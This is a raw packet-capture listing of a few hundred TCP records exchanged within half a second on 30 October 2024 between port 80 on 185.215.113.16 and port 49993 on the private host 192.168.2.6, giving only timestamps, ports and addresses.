Oct 30, 2024 05:25:13.212215900 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.212275028 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.212291002 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.212311983 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.212311983 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.212326050 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.212337017 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.212346077 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.212379932 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.212379932 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.212415934 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.212500095 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.212510109 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.212568998 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.212585926 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.212605000 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.212616920 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.212646961 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.212719917 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.212766886 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.212784052 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.212829113 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.212893009 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.212902069 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.212913036 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.212924004 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.213013887 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.213013887 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.213478088 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.213486910 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.213498116 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.213509083 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.213524103 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.213536024 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.213588953 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.213606119 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.213615894 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.213625908 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.213638067 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.213653088 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.213660955 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.213691950 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.213691950 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.252443075 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.252454042 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.252463102 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.252618074 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.252618074 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.253052950 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.253062010 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.253072977 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.253133059 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.253133059 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.253154993 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.253165007 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.253175020 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.253185987 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.253240108 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.253240108 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.253240108 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.253264904 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.253273964 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.253284931 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.253307104 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.253351927 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.253647089 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.253696918 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.253766060 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.253777981 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.253787994 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.253808022 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.253815889 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.253825903 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.253838062 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.253868103 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.253868103 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.253868103 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.253900051 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.254013062 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.254021883 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.254030943 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.254065037 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.254084110 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.295219898 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.295237064 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.295252085 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.295425892 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.295425892 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.329828024 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.329844952 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.329859972 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.329869986 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.329880953 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.329986095 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.329986095 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.329994917 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.330024004 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.330033064 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.330044985 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.330086946 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.330086946 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.330354929 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.330394983 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.330404043 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.330411911 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.330437899 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.330446959 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.330455065 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.330466032 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.330502987 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.330666065 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.330707073 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.330717087 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.330727100 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.330749989 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.330758095 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.330899954 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.330926895 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.330936909 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.330976963 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.330987930 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.331016064 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.331016064 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.331053019 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.331053019 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.370192051 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.370210886 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.370220900 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.370230913 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.370277882 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.370325089 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.370335102 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.370343924 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.370368004 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.370368004 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.370368004 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.370414019 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.370414972 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.371170044 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.371181011 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.371191025 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.371200085 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.371228933 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.371241093 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.371252060 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.371262074 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.371284008 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.371284008 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.371316910 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.371329069 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.371335983 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.371354103 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.371386051 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.371390104 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.371529102 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.371606112 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.371651888 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.371670961 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.371680975 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.371716022 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.371727943 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.371763945 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.371773958 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.371783018 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.371793032 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.371803045 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.371819019 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.371833086 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.371855021 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.412944078 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.412966967 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.412976980 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.413225889 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.413225889 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.447424889 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.447436094 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.447447062 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.447458029 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.447540045 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.447559118 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.447577000 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.447602034 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.447602034 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.447602034 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.447616100 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.447628975 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.447680950 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.447887897 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.447932959 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.447943926 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.448069096 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.448081970 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.448129892 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.448139906 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.448168993 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.448168993 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.448199034 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.448348999 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.448359013 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.448369980 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.448379993 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.448414087 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.448426008 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.448436022 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.448456049 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.448463917 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.448863983 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.448932886 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.448956013 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.448981047 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.487637043 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.487648010 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.487658024 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.487720013 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.487734079 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.487763882 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.487809896 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.487809896 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.487809896 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.487809896 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.487934113 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.487970114 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.488003016 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.488010883 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.488020897 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.488030910 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.488042116 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.488089085 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.488140106 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.488596916 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.488663912 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.488673925 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.488684893 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.488693953 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.488704920 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.488713980 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.488761902 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.488761902 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.488761902 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.489001036 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.489017963 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.489053965 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.489123106 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.489144087 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.489154100 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.489164114 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.489173889 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.489197969 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.489218950 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.489485025 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.489495039 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.489505053 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.489543915 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.489551067 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.489558935 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.489566088 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.489577055 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.489600897 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.489630938 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.490009069 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.490027905 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.490036964 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.490123987 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.490123987 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.530684948 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.530703068 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.530714035 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.530870914 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.530870914 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.564949989 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.564960003 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.565035105 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.565056086 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.565067053 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.565078974 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.565115929 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.565124989 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.565135956 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.565160036 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.565327883 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.565530062 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.565541029 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.565551996 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.565593958 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.565604925 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.565687895 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.565699100 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.565710068 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.565773010 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.565773010 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.565888882 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.565938950 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.565953016 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.565964937 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.565982103 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.565992117 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.566004038 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.566026926 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.566026926 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.566026926 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.566050053 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.566396952 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.566415071 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.566446066 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.566473007 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.605108023 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.605119944 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.605129957 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.605170965 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.605180979 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.605191946 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.605232954 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.605232954 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.605232954 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.605581045 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.605588913 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.605608940 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.605621099 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.605631113 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.605638981 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.605650902 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.605657101 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.605743885 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.605743885 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.606174946 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.606184006 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.606194019 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.606261969 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.606275082 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.606285095 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.606301069 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.606301069 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.606301069 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.606317997 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.606331110 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.606348991 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.606357098 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.606381893 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.606693029 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.606700897 CET	80	49993	185.215.113.16	192.168.2.6
